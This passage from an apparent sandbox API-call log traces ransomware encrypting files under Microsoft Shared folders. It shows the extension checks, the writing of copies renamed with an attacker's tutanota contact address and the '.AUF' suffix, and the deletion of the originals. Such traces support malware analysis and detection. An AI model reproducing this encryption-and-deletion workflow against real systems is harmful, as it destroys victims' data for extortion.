(lpString=".dbf") returned 4 [0218.524] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.524] lstrlenW (lpString=".1cd") returned 4 [0218.524] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.524] lstrlenW (lpString=".jpg") returned 4 [0218.524] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.524] lstrlenW (lpString=".doc") returned 4 [0218.524] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.524] lstrlenW (lpString=".docx") returned 5 [0218.524] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.524] lstrlenW (lpString=".pdf") returned 4 [0218.524] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.524] lstrlenW (lpString=".xls") returned 4 [0218.524] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.524] lstrlenW (lpString=".xlsx") returned 5 [0218.524] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.524] lstrlenW (lpString=".ppt") returned 4 [0218.524] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.524] lstrlenW (lpString=".zip") returned 4 [0218.524] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.525] lstrlenW (lpString=".rar") returned 4 [0218.525] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.525] lstrlenW (lpString=".bz2") returned 4 [0218.525] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.525] lstrlenW (lpString=".7z") returned 3 [0218.525] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.525] lstrlenW (lpString=".dbf") returned 4 [0218.525] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.525] lstrlenW (lpString=".1cd") returned 4 [0218.525] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.525] lstrlenW (lpString=".jpg") returned 4 [0218.525] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.525] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.525] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0218.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.526] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=3584) returned 1 [0218.526] CloseHandle (hObject=0x1d8) returned 1 [0218.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0218.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.526] lstrlenW (lpString=".doc") returned 4 [0218.526] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.526] lstrlenW (lpString=".docx") returned 5 [0218.526] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.526] lstrlenW (lpString=".pdf") returned 4 [0218.526] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.526] lstrlenW (lpString=".xls") returned 4 [0218.526] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.526] lstrlenW (lpString=".xlsx") returned 5 [0218.526] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.526] lstrlenW (lpString=".ppt") returned 4 [0218.526] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.526] lstrlenW (lpString=".zip") returned 4 [0218.527] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.527] lstrlenW (lpString=".rar") returned 4 [0218.527] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.527] lstrlenW (lpString=".bz2") returned 4 [0218.527] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.527] lstrlenW (lpString=".7z") returned 3 [0218.527] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.527] lstrlenW (lpString=".dbf") returned 4 [0218.527] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.527] lstrlenW (lpString=".1cd") returned 4 [0218.527] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.527] lstrlenW (lpString=".jpg") returned 4 [0218.527] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.527] lstrlenW (lpString=".doc") returned 4 [0218.527] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.527] lstrlenW (lpString=".docx") returned 5 [0218.527] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.527] lstrlenW (lpString=".pdf") returned 4 [0218.527] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.527] lstrlenW (lpString=".xls") returned 4 [0218.527] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.527] lstrlenW (lpString=".xlsx") returned 5 [0218.527] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.527] lstrlenW (lpString=".ppt") returned 4 [0218.527] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.527] lstrlenW (lpString=".zip") returned 4 [0218.527] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.527] lstrlenW (lpString=".rar") returned 4 [0218.527] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.527] lstrlenW (lpString=".bz2") returned 4 [0218.527] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.527] lstrlenW (lpString=".7z") returned 3 [0218.527] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.527] lstrlenW (lpString=".dbf") returned 4 [0218.527] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.527] lstrlenW (lpString=".1cd") returned 4 [0218.528] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0218.528] lstrlenW (lpString=".jpg") returned 4 [0218.528] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.528] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.528] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0218.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0218.575] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=4096) returned 1 [0218.575] CloseHandle (hObject=0x218) returned 1 [0218.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0218.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0218.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0218.575] lstrlenW (lpString=".doc") returned 4 [0218.575] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.575] lstrlenW (lpString=".docx") returned 5 [0218.575] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.575] lstrlenW (lpString=".pdf") returned 4 [0218.575] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.575] lstrlenW (lpString=".xls") returned 4 [0218.575] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.575] lstrlenW (lpString=".xlsx") returned 5 [0218.575] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.575] lstrlenW (lpString=".ppt") returned 4 [0218.575] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0218.575] lstrlenW (lpString=".zip") returned 4 [0218.575] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.575] lstrlenW (lpString=".rar") returned 4 [0218.575] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.575] lstrlenW (lpString=".bz2") returned 4 [0218.575] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.575] lstrlenW (lpString=".7z") returned 3 [0218.575] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0218.575] lstrlenW (lpString=".dbf") returned 4 [0218.576] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0219.004] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0219.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0219.018] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.019] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0219.019] GetLastError () returned 0x0 [0219.019] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x665a0, lpOverlapped=0x0) returned 1 [0219.085] WriteFile (in: hFile=0x224, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x665b0, lpOverlapped=0x0) returned 1 [0219.091] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.091] WriteFile (in: hFile=0x224, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0219.091] SetEndOfFile (hFile=0x224) returned 1 [0219.091] CloseHandle (hObject=0x224) returned 1 [0219.092] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.092] SetEndOfFile (hFile=0x1fc) returned 1 [0219.094] CloseHandle (hObject=0x1fc) returned 1 [0219.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.095] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0219.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.095] lstrlenW (lpString=".doc") returned 4 [0219.095] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.095] lstrlenW (lpString=".docx") returned 5 [0219.095] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0219.095] lstrlenW (lpString=".pdf") returned 4 [0219.095] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.095] lstrlenW (lpString=".xls") returned 4 [0219.095] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.095] lstrlenW (lpString=".xlsx") returned 5 [0219.095] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0219.095] lstrlenW (lpString=".ppt") returned 4 [0219.095] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.095] lstrlenW (lpString=".zip") returned 4 [0219.095] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.095] lstrlenW (lpString=".rar") returned 4 [0219.095] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.095] lstrlenW (lpString=".bz2") returned 4 [0219.095] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.096] lstrlenW (lpString=".7z") returned 3 [0219.096] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.096] lstrlenW (lpString=".dbf") returned 4 [0219.096] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.096] lstrlenW (lpString=".1cd") returned 4 [0219.096] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.096] lstrlenW (lpString=".jpg") returned 4 [0219.096] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.096] lstrlenW (lpString=".doc") returned 4 [0219.096] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.096] lstrlenW (lpString=".docx") returned 5 [0219.096] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0219.096] lstrlenW (lpString=".pdf") returned 4 [0219.096] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.096] lstrlenW (lpString=".xls") returned 4 [0219.096] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.096] lstrlenW (lpString=".xlsx") returned 5 [0219.096] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0219.096] lstrlenW (lpString=".ppt") returned 4 [0219.096] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.096] lstrlenW (lpString=".zip") returned 4 [0219.096] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.096] lstrlenW (lpString=".rar") returned 4 [0219.096] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.096] lstrlenW (lpString=".bz2") returned 4 [0219.096] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.096] lstrlenW (lpString=".7z") returned 3 [0219.096] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.096] lstrlenW (lpString=".dbf") returned 4 [0219.096] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.096] lstrlenW (lpString=".1cd") returned 4 [0219.096] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0219.096] lstrlenW (lpString=".jpg") returned 4 [0219.096] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.096] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.096] lstrlenW (lpString="ACERECR.DLL") returned 11 [0219.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0219.097] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=20944) returned 1 [0219.097] CloseHandle (hObject=0x1fc) returned 1 [0219.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0219.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0219.097] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.097] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0219.098] GetLastError () returned 0x0 [0219.098] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x51d0, lpOverlapped=0x0) returned 1 [0219.241] WriteFile (in: hFile=0x224, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x51e0, lpOverlapped=0x0) returned 1 [0219.242] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.242] WriteFile (in: hFile=0x224, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0219.242] SetEndOfFile (hFile=0x224) returned 1 [0219.244] CloseHandle (hObject=0x224) returned 1 [0219.247] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.247] SetEndOfFile (hFile=0x1fc) returned 1 [0219.248] CloseHandle (hObject=0x1fc) returned 1 [0219.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.248] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 1 [0219.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.263] lstrlenW (lpString=".doc") returned 4 [0219.263] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.263] lstrlenW (lpString=".docx") returned 5 [0219.263] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0219.263] lstrlenW (lpString=".pdf") returned 4 [0219.263] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.263] lstrlenW (lpString=".xls") returned 4 [0219.263] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.263] lstrlenW (lpString=".xlsx") returned 5 [0219.263] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0219.263] lstrlenW (lpString=".ppt") returned 4 [0219.263] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0219.263] lstrlenW (lpString=".zip") returned 4 [0219.263] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.263] lstrlenW (lpString=".rar") returned 4 [0219.263] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.263] lstrlenW (lpString=".bz2") returned 4 [0219.263] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.263] lstrlenW (lpString=".7z") returned 3 [0219.263] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 